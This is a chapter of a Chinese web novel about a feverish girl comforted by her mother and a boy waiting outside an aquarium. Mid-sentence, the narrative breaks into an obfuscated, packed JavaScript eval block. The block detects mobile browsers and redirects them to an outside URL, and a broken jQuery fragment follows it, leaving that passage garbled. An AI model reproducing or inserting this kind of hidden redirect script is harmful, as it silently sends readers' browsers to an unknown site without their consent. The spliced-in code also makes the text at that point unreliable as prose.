14. 第 14 章
作品:《渣了高冷校草以后》 展新月是哭着醒来的,她流了太多太多的泪,醒来时整个身体都蜷缩在一起,手指紧紧揪着胸前的衣服。
屋里的灯亮着,她睁着眼盯着屋顶那盏小灯晃了神,一时分不清自己身在何处。
恍惚间,她突然产生了一个让她遍体生寒的念头:刚刚自己梦里所见的究竟只是梦境,还是平行世界中的现实?又或者,会不会那才是真实的世界,而这所谓的重生一次才是大梦一场,是她临死前一场不甘的妄想呢?
“怎么烧的这么厉害。”一双微凉的手覆上她的额头,带她从浑浑噩噩中抽离而出。“是不是做噩梦了?不要怕,妈妈在。”
展新月的视线从天花板缓缓下移,落在身旁人的脸上。逄云正坐在她床边,垂着头看她,一双眼睛盛满忧虑。
她一把握住了逄云覆在她额上的手,感受她手掌的温度,反复确认她存在的真实性。而后,她猛地坐起身,一把抱住了她。
这一次,展新月真切地感受到了她。
流泪再一次不受控制地涌出,她说不出别的话,只能像梦里那样不断重复着这几个词。“妈妈,对不起,对不起……”
“这是怎么了?”逄云更紧地回抱住她,“不要怕,妈妈在的。是不是做了噩梦,怎么吓成这样?”
展新月摇摇头,又点点头,“是噩梦,很可怕很可怕的噩梦。”
“不要怕,梦都不是真的。”逄云替她擦干眼泪,“你发烧了,应该是因为发烧身体不舒服才做噩梦了,昨天晚上风太大,你这窗户又没关严实……来,把这颗退烧药吃了,一会就好了。”
展新月这才感觉自己确实烧着,浑身都痛得很,头也昏昏沉沉的。
逄云把晾好的水送到她嘴边,展新月就着她的手吃了药,问:“几点了,是不是该上学了?”
逄云说:“是不是烧糊涂啦,今天是周六。再睡一会吧,妈妈在旁边陪着你,睡一觉醒来就不烧了。”
展新月又慢慢躺了下去,揉了揉烧得发干的眼睛,说:“我睡不着。”
“睡不着多躺一会也好。”逄云替她仔细地掖好被子,坐在旁边看着她,“你们这个作息实在是太辛苦了,天天六点多就要起床,就是铁打的孩子这样下去也是要生病的。难得今天不上学,多睡一会吧。”
“好。”展新月闷声说。
展新月躺着盯着逄云看,虽然她面色凝重,但幸好并不憔悴,也不苍老,和梦里的样子一点也不像。
逄云被她这样看着,神色更加担忧了:“怎么这样看着妈妈?对了,月月,你跟妈妈讲实话,你最近是不是遇到什么事情了?你最近太反常了,妈妈真的很担心你。”
望着逄云的眼睛,有那么一个瞬间,她几乎想不顾一切地把一切都告诉她。尽管遇到的一切如此荒诞,可她毫不怀疑只要她说出来,逄云都会愿意相信。
但她不能这么做,爸妈不该再为了她的这些事伤心难过。
她将被子拉高了遮住了半张脸,摇了摇头:“我只是学习压力有点大。”
“好吧,你不说也不要紧,要是有需要妈妈的时候妈妈都会在的。”逄云轻轻叹了口气,而后忽然说起了别的话题。
“你都好久没发过烧了,怎么大夏天倒感冒了。不过你小时候身体虚,三天两头就生病发高烧,经常把我跟你爸吓的不轻。”
展新月说:“是吗,我都不记得了。”
“你当然不记得了,那时候你才两三岁。有一次你烧得特别厉害,其实起初温度也不算高,晚上睡觉前我给你喂了退烧药,想着第二天应该就退了。可是半夜你却烧得越来越厉害,我跟你爸各种降温的办法都给你试过了,也不知那次是怎么了,什么办法都不起效,我俩就赶紧准备送你去医院。后来你爸去开车,我就抱着你站在楼下等他。那时候我拿出体温计一看,你已经烧到了40度。”她的眼睛看向床头,像是沉浸进了回忆当中。
展新月捏住她的手,安静地听着。
“当时大概是半夜三四点,天黑着,我一个人抱着你,我看着怀里的你烧的眼睛紧闭着,满脸通红,好希望那个时候能有人告诉我该怎么办,可是没有,周围一个人都没有,我只能用手一直摸你滚烫的脸。”
“好容易看到你爸的车远远地开过来了,突然间,你在妈妈怀里抽搐起来了……我从来没见过你这样,小小的身体不停抽动……”
逄云没再说下去,顿了半天,才又说道:“你猜我当时在想什么?”
展新月扯着嘴角露出一个难看的笑容:“你肯定很怕我烧成傻子了。”
逄云笑了笑,“其实那个瞬间,我连自己的后事都想好了。我想着你要是出了事,我也不活了。”
眼睛明明已经烧的干涩,但泪水还是涌出来了,展新月又往被子里缩了缩,哑声说:“你最近怎么总是提起那么久远的事……”
逄云眼睛也有些红,她擦了擦眼角,“我也不知道怎么回事,这一阵老是想起你小时候,也许是母女连心吧,你……”她没再说下去,垂头看着展新月,认真道:“月月,不管你遇到了什么事,不管你愿不愿意跟爸妈讲,你都一定要好好的,你要爱护好自己。你要知道,你是爸爸妈妈的命,你要是出了什么事爸爸妈妈都活不了。爸爸妈妈对你没有别的期望,唯一的希望就是你健健康康,平平安安的。”
展新月偏过头去,低声说:“怎么说的这么严重,我真的没事。我就是只是最近学习压力太大了,担心考试会考不好。”
逄云摸摸她的脸,“就当是为了这个吧,不要勉强自己,尽力而为就好。不管你考得怎么样,爸爸妈妈都不会怪你。”
昨夜的雨太大,把院子里的还没来得及被时遥祸害的花打落一地,大清早便有好几个工人在花园里轻手轻脚地忙碌。
“叩叩叩。”
张姨站在时其悦门口,敲过好几遍门,屋内都没有任何一点动静。
“小悦今天这是怎么了……”张姨踌躇半晌,还是下了楼。
“让她睡吧,这个年纪的孩子就是觉多。”祝青不以为意,“不用管她了。”
张姨表情仍有些担忧,但也不好说什么,便没再开口。
卧室里空调温度开得很低,时其悦被子拉过脸,听着外面的敲门声,打定主意不搭理。可真等敲门声消失了,好长时间都没再响起来,她又心烦起来,翻身坐起,把头发抓成一个鸡窝。
她看了眼时间,又倒进被子里,仰着头看着天花板。
不知又过了多久,敲门声又一次不疾不徐地响起。
时其悦大喊一声:“别敲了,我不吃。”
这一次,门外响起的却是时子骞的声音。他的声音不大,问:
“还要不要出门了?”
时其悦呆了一下,连忙翻身下床,啪地一声拉开门。门外,时子骞手插兜站着,正看着她。
“你……你干嘛打扮成这样?”看见他的瞬间,时其悦脸上露出古怪的表情,拧起眉上下打量他。
时子骞目光闪了闪,少见地迟疑道:“怎么,看起来很奇怪吗?”
“也不是奇怪,就是……”时其悦盯着他,思索片刻。
他今天跟平时很不一样,看得出来精心打扮过,头发用发胶仔细地抓过,穿了件浅蓝色的连帽短袖,衬得整个人少了冷意,多了几分少年气。
“好吧,我现在相信你今天是真的有人约了。”时其悦一摊手.“看着像求偶期似的。真是铁树开花,稀奇啊稀奇。”
时子骞看她几秒:“我看你也不是很着急想出去。”
“我要去!”时其悦连忙喊道。像是怕他反悔一样,又补充说:“我今天真的有事,我也约了人的!”
“我可只负责把你带出家门。”时子骞瞥了一眼她鸡窝似的头发,说:“只等你五分钟。”
“五分钟……”她刚要抗议,看到他冷淡的脸色,还是默默吞了进肚子里,啪地一声关上门,“五分钟就五分钟!”
五分钟后,时其悦再一次打开门,时子骞仍在门口,背对着她扶着走廊上的栏杆站着。听见开门声,时子骞头也没回,只说了说了声“走了”,便转身向着楼下走去。
两人一前一后下了楼。
祝青已经吃过了早饭,正在客厅里摆弄花草
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627782|172460||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。她头发松散地挽着,半蹲在一盆牡丹前,长裙委地。见两人一起下来,她扬了扬眉,站起身:“子骞、小悦下来了,张姨给你们留了饭。”
“我不吃。”时其悦顿了顿,“我要出去。”
祝青显然一愣,半天才蹙着眉说,“你爸爸昨天可说了……”
话还未说完,时遥生已经听见了外面的动静,从书房踱了出来。
“你又要干什么去?昨天我是不是跟你说了这个周末你哪都别想去吗?”
时其悦说,“可是哥哥说要带我玩,是吧?”
她仰着一张小脸看向时子骞。
时子骞默然一秒,点了点头。
祝青惊讶道:“不会吧,难得见子骞要带妹妹出去一次。”
时遥生却毫不怀疑,脸上甚至还露出了赞许之色:“今天倒还像点样子,我早跟你们说,都是一家人要多亲近些。看吧,这样不是很好嘛!那就去吧,但是也不能回来的太晚。”
“好!”时其悦连声答应。
见时越生同意了,祝青也没再说什么,而是说:“哎呀,原本也不知道你们要出去,我就喊小李替我办点事去了……那要不就让小陈送你们去吧?”
小李是时越生给这俩儿女配的司机,专职送他们上学,小陈则是她自己的司机。
时子骞看也没看她,只回了句“不用”,便和时其悦一起出了门。
两人走后,祝青又蹲下去接着侍弄她的花,对着时遥生随口说道:“今天真是太阳打西边出来了,往天这俩孩子话都不见说,今天竟然会约着一起出去。”
时越生毫不在意:“都是一家人哪有那么多隔阂,孩子长大了自然就懂事了。”
“那倒也是。”祝青说。她看向时越生,脸上露出几分无奈:“不过子骞这孩子,还是家里的司机一概不肯用……可能是心里还一直憋着气呢,我担心……”
“行了,别说了。”时越生蹙眉打断了她,“我也该出去了。”
走出几步,他又回过头,“你以后不要用他俩的车,要是司机不够用再招个就是了。”
祝青讪笑了两声,“我也没经常用,这不是恰好赶上今天有点事……”
两人出了家门,时其悦立刻长舒了一口气,整张脸都舒展了。
“我走了,你不用管我了。”她朝着时子骞比了个感谢的手势,转身就要跑。
“等一下。”时子骞开口,“你要去哪?”
“就去逛逛啊,然后去晶海吃个饭。”时其悦含糊道。
时子骞看了眼表。“八点前回家。”
“八点?”时其悦脚下步子一个急刹。“凭什么?”
“凭你才刚小学毕业几个月。”
“拜托,那我现在也已经是初中生了好不好,哪有初中生八点就得回家的。”
时子骞没给她讨价还价的机会:“不同意就回去。”
“行吧行吧。”时其悦拉着一张脸,怕他反悔一样,三步并作两步地跑远了。
时子骞抬手看了眼时间,才早上九点刚过,距离约好的时间还有很久。他出了小区,沿着人行道不紧不慢地走着。
海洋馆距离市中心不远,时子骞曾无数次从附近经过,但这还是第一次走近。
这会还没开馆,但场馆门口已经有很多小摊贩摆好了纪念品摊,见人不多,也不吆喝,只是闲散地坐着。各式海洋动物的气球簇被拴在他们身后的车把手上,映着蓝天晃晃悠悠地飘着。
时子骞在一个摊贩前停下,仔细挑选了一个胖嘟嘟的海豚气球。付过钱,他重新牵着气球找了片树荫坐下,仰着头看了一会那只飘荡的小海豚,眼神渐渐舒展。
人渐渐多起来,他见售票窗口被推开,便起身去排队买票。
海洋馆的门票印着虎鲸,很可爱,他仔细地看了看,才将它们放进衣兜里,而后牵着气球在门口站定。
每个进馆的人从他面前路过时,都要上下打量他两眼,他恍若未见。
昨夜一场雨下过,今日天色若洗,太阳隔着道路两旁茂密的树枝透下点点光斑。
这是个晴朗的好天。